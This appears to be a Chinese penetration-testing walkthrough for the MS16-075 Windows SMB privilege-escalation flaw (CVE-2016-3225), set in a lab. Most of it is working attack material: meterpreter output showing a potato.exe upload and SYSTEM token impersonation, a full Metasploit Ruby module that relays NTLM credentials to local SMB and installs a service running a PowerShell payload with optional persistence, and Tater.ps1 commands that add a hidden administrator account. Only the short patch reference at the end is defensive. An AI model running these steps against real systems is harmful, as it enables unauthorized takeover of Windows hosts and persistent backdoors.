3.7.3 ms16-075
漏洞名称
MS16-075 Windows SMB 服务器特权提升漏洞(CVE-2016-3225)
漏洞等级
高危
漏洞描述
Windows SMB 服务器特权提升漏洞(CVE漏洞编号:CVE-2016-3225)当攻击者转发适用于在同一计算机上运行的其他服务的身份验证请求时,Microsoft 服务器消息块 (SMB) 中存在特权提升漏洞,成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。若要利用此漏洞,攻击者首先必须登录系统。然后,攻击者可以运行一个为利用此漏洞而经特殊设计的应用程序,从而控制受影响的系统。
漏洞影响
Windows Vista-2012 r2
复现过程
实验环境
kali:192.168.1.103 server 08 :192.168.1.104
复现
假设已经成功上线了msf
将系统信息导出并下载到本地
meterpreter > shell
Process 3972 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Users\lengyi\Desktop>systeminfo > bug.txt
systeminfo > bug.txt
C:\Users\lengyi\Desktop>exit
exit
meterpreter > download bug.txt /root/Windows-Exploit-Suggester
[*] Downloading: bug.txt -> /root/Windows-Exploit-Suggester/bug.txt
[*] Downloaded 1.63 KiB of 1.63 KiB (100.0%): bug.txt -> /root/Windows-Exploit-Suggester/bug.txt
[*] download : bug.txt -> /root/Windows-Exploit-Suggester/bug.txt
然后使用windows-exploit-suggestions进行查看
python windows-exploit-suggester.py -i bug.txt -d 2019-05-26-mssb.xls -l
msf下提权命令利用程序。
meterpreter > upload potato.exe
[*] uploading : potato.exe -> potato.exe
[*] Uploaded 664.00 KiB of 664.00 KiB (100.0%): potato.exe -> potato.exe
[*] uploaded : potato.exe -> potato.exe
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM
Delegation Tokens Available
========================================
CENTOSO\lengyi
Impersonation Tokens Available
========================================
No tokens available
然后:
(4)execute -cH -f ./potato.exe (5)list_tokens -u (6)impersonate_token "NT AUTHORITY\SYSTEM" (7)getuid
即可获得一个system权限的shell
msf下也自带了这种工具,不过并不好用,分别为
exploit/windows/local/ms16_075_reflection
exploit/windows/local/ms16_075_reflection_juicy
给出一个比较好的msf的插件
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex'
require 'msf/core'
# Removed some things that should be included...
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
# errors with remove_socket
# include Msf::Exploit::Remote::SMB::Client::Psexec
include Rex::Constants::Windows
include Msf::Exploit::Powershell
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Local Priv NTLM Reflection',
'Description' => %q{
This module relays NTLM Credentials from Windows via WebClient and replays them
back to smb. It is usefull for local priv and other things, upon successful connect
it will let you use powershell to execute a msf payload installed as a service.
WebClient must be enabled but you can do that via the service_trigger post module.
This module works for ALL windows versions, however you will need to find a vulnerable
process running as SYSTEM that can connect to the localhost.
},
'Author' =>
[
'vvalien' # ... still delivering pizza =[
# 'breenmachine', # Potato
# 'tiraniddo' # Orignal POC
],
'License' => MSF_LICENSE,
'SessionTypes' => [ 'meterpreter' ],
'Payload' =>
{
'Space' => 3072,
'DisableNops' => true,
'StackAdjustment' => -3500
},
'References' =>
[
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=222' ],
[ 'URL', 'http://foxglovesecurity.com/2016/01/16/hot-potato/' ]
],
'DisclosureDate' => 'Jan 01 1999',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X86_64],
'Targets' =>
[ # not fully implamented yet
[ 'PowerShell', { } ],
[ 'Native upload', { } ],
[ 'MOF upload', { } ]
],
'DefaultTarget' => 0
))
# No importing psexec this way, which errors out with remove_socket
register_options([
OptAddress.new('RHOST', [true, "The target address on local system", "127.0.0.1"]),
OptPort.new('RPORT', [true, "Set the SMB service port", 445]),
OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing", nil]),
OptString.new('SERVICE_DISPLAY_NAME', [false, "The service display name", nil]),
OptString.new('SERVICE_NAME', [false, "The service name", nil])
], self.class)
register_advanced_options([
OptString.new('LocalHost', [false, "The server's internal IP address", "127.0.0.1"]),
OptPort.new('LocalPort', [false, "The server's internal port", 80]), # \\127.0.0.1@SSL@4444\abc.gif
OptBool.new('SERVICE_PERSIST', [false, "Create an Auto run service and do not remove it", false])
], self.class)
# ReverseListenerComm will work!
deregister_options('SMBPass', 'SMBUser', 'SMBDomain') # This is already set
end
# would be nice to be able to do this!
=begin
def smb_psexec_simple(ser_sock)
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
# ser_sock.psexec(command)
end
=end
# Its staying
def exploit()
setup_railgun()
sleep(1)
end
# Use win api to create a tcp server on the box
# This actually works really well, maybe consider adding this in future
def setup_railgun()
# Our new added function for railgun (send) will use rubys send.
client.railgun.add_function('ws2_32', 'sendit', 'DWORD',[
["DWORD","s","in"],
["PCHAR","buf","in"],
["DWORD","len","in"],
["DWORD","flags","in"],
], windows_name='send')
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
sock = handler['return']
# Setup our socket format
# Incase you want to bind to something other than 127
sock_addr = "\x02\x00"
sock_addr << [datastore['LocalPort']].pack('n')
sock_addr << Rex::Socket.addr_aton(datastore['LocalHost'])
sock_addr << "\x00" * 8
# Bind, Listen, and then block till we accept.
r = client.railgun.ws2_32.bind(sock, sock_addr, 16)
print_status("Socket bind with ws2_32")
# Set the name here so we can kill it later!
# random_service = Rex::Text.rand_text_alpha((rand(8)+6))
begin
# proc_start(random_service)
# print_status("Process Started")
r = client.railgun.ws2_32.listen(sock, 10)
print_status("Socket is now listening on #{datastore['LocalHost']} we are waiting for a connect")
r = client.railgun.ws2_32.accept(sock, nil, nil)
@n_sock = r['return'] # our new socket
rescue
print_error("Something happened there was a error")
else
railgun_recv_smb_do # handels railgun recv and smb calls
ensure
# If we dont ensure it, it will hold 80 open until restart if error.
print_status("Ensure we close the socket")
client.railgun.ws2_32.closesocket(sock)
client.railgun.ws2_32.closesocket(@n_sock)
if @rsock
@rsock.shutdown()
end
# kill_proc(random_service)
end
end
# We simply send and msg using our new sendit function
def resp_check_send(b64_ntlm)
snd_buff = "HTTP/1.1 401 Unauthorized\n"
snd_buff << "Server: PizzaDelivery/9 Bro/1.1.1\n"
snd_buff << "Date: Thu, 1 Jan 1970 00:00:01 UTC\n"
snd_buff << "WWW-Authenticate: NTLM #{b64_ntlm}\n"
snd_buff << "Content-type: text/html\n"
snd_buff << "Content-Length: 0\n\n"
r = client.railgun.ws2_32.sendit(@n_sock, snd_buff, snd_buff.length, 0)
sleep(1)
return
end
def railgun_recv_smb_do()
count = 1
while count < 4 # incase of endless read loop
nt = /NTLM\s((.)*)/ # If it works... keep it!
r = client.railgun.ws2_32.recv(@n_sock, ' ' * 1024, 1024, 0)
msg = r['buf']
hash = (msg.match nt)
if hash
vprint_status("Got Hash1: #{hash[1]}")
# No need to check which msg, we just continue here
message = Rex::Text.decode_base64(hash[1])
hash2, ser_sock = smb_relay_toserver1(message)
vprint_status("Got Hash2: #{hash2}")
resp_check_send(hash2)
r = client.railgun.ws2_32.recv(@n_sock, ' ' * 1024, 1024, 0)
msg = r['buf']
hash3 = (msg.match nt)
vprint_status("Got Hash3: #{hash3[1]}")
hash3 = Rex::Text.decode_base64(hash3[1])
ser_sock = smb_relay_toserver3(hash3, ser_sock)
smb_pshell(ser_sock)
break
else
print_status(msg.strip)
resp_check_send(nil)
end
count += 1
end
end
# Relay ntlm hash1 to smb
def smb_relay_toserver1(hash)
@rsock = Rex::Socket::Tcp.create(
'PeerHost' => datastore['RHOST'],
'PeerPort' => datastore['RPORT'],
'Timeout' => 3,
'Comm' => client, # OMFG!!! THE PAIN!!!
'Context' => { 'Msf' => framework, 'MsfExploit'=> self, }
)
if (not @rsock)
print_error("Could not connect to target host (#{datastore['RHOST']})")
return
end
ser_sock = Rex::Proto::SMB::SimpleClient.new(@rsock, datastore['RPORT'] == 445 ? true : false)
if (datastore['RPORT'] == '139')
ser_sock.client.session_request()
end
ser_sock.client.negotiate(true)
ser_sock.client.require_signing = false
print_status("Starting hash relay")
resp = ser_sock.client.session_setup_with_ntlmssp_blob(hash, false) # if set true, it automagicly recv's
print_status("Got the response")
resp = ser_sock.client.smb_recv_parse(Rex::Proto::SMB::Constants::SMB_COM_SESSION_SETUP_ANDX, true)
# Save the user_ID for future requests
ser_sock.client.auth_user_id = resp['Payload']['SMB'].v['UserID']
begin
# hash extraction
ntlmsspblob = 'NTLMSSP' << (resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) << "\x00\x00"
rescue ::Exception => e
print_error("Type 2 response not read properly from server")
raise e
end
hash2_b64 = Rex::Text.encode_base64(ntlmsspblob)
return [hash2_b64, ser_sock]
end
# relay ntlm hash3 to SMB
def smb_relay_toserver3(hash, ser_sock)
resp = ser_sock.client.session_setup_with_ntlmssp_blob(hash, false, ser_sock.client.auth_user_id)
resp = ser_sock.client.smb_recv_parse(Rex::Proto::SMB::Constants::SMB_COM_SESSION_SETUP_ANDX, true)
# check if auth was successful
if (resp['Payload']['SMB'].v['ErrorClass'] == 0)
print_status("SMB auth relay succeeded")
else
failure = Rex::Proto::SMB::Exceptions::ErrorCode.new
failure.word_count = resp['Payload']['SMB'].v['WordCount']
failure.command = resp['Payload']['SMB'].v['Command']
failure.error_code = resp['Payload']['SMB'].v['ErrorClass']
raise failure
end
return ser_sock
end
# Stolen from psexec I couldnt figure out how to overwrite the socket
def smb_pshell(ser_sock)
# Connect to the IPC share first
ser_sock.client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
# The uuid for SVCCTL
uuidv = ['367abb81-9844-35f1-ad32-98f038001003', '2.0']
# Setup the svcctl handle
handle = Rex::Proto::DCERPC::Handle.new(uuidv, 'ncacn_np', datastore['RHOST'], ["\\svcctl"])
opts = {
'Msf' => framework,
'MsfExploit' => self,
'smb_pipeio' => 'rw',
'smb_client' => ser_sock
}
print_status("Bound to #{handle} ...")
# Route the dcerpc pipe over our authenticated socket
dcerpc = Rex::Proto::DCERPC::Client.new(handle, ser_sock.socket, opts)
svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
# Open the scmanager
scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])
# Check to see if persist is on
if datastore['SERVICE_PERSIST']
opts = { :start => SERVICE_AUTO_START }
else
opts = {}
end
peer = datastore['RHOST']
vprint_status("#{peer} - Attempting to create the service...")
service_name = datastore['SERVICE_NAME'] ||= Rex::Text.rand_text_alpha(8)
display_name = datastore['SERVICE_DISPLAY_NAME'] ||= Rex::Text.rand_text_alpha(8)
# This is where we get our payload at!
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
begin
# remember svc_client is routed over our smb connection via dcerpc!
svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)
print_status("Attempting to start service, error is normal")
svc_status = svc_client.startservice(svc_handle)
case svc_status
when ERROR_SUCCESS
print_status("#{peer} - Service started successfully...")
when ERROR_FILE_NOT_FOUND
print_error("#{peer} - Service failed to start - FILE_NOT_FOUND")
when ERROR_ACCESS_DENIED
print_error("#{peer} - Service failed to start - ACCESS_DENIED")
when ERROR_SERVICE_REQUEST_TIMEOUT
print_status("#{peer} - Service start timed out, OK if running a command or non-service executable...")
else
print_error("#{peer} - Service failed to start, ERROR_CODE: #{svc_status}")
end # end case
if datastore['SERVICE_PERSIST']
print_warning("#{peer} - Not removing service for persistance...")
else
vprint_status("#{peer} - Removing the service...")
svc_status = svc_client.deleteservice(svc_handle)
if svc_status == ERROR_SUCCESS
vprint_good("#{peer} - Successfully removed the sevice")
else
print_error("#{peer} - Unable to remove the service, ERROR_CODE: #{svc_status}")
end
end
ensure
vprint_status("#{peer} - Closing service handle... and killing the socket")
svc_client.closehandle(svc_handle)
end
end
end
powershell下提权
Import-Module ./Tater.ps1 或者. ./Tater.ps1
(1)Trigger 1示例
Invoke-Tater -Trigger 1 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
(2)trigger 2示例
Invoke-Tater -Trigger 2 -Command "net user tater Winter2016 /add && net localgroup administrators tater /add"
漏洞修复
KB3164038
Last updated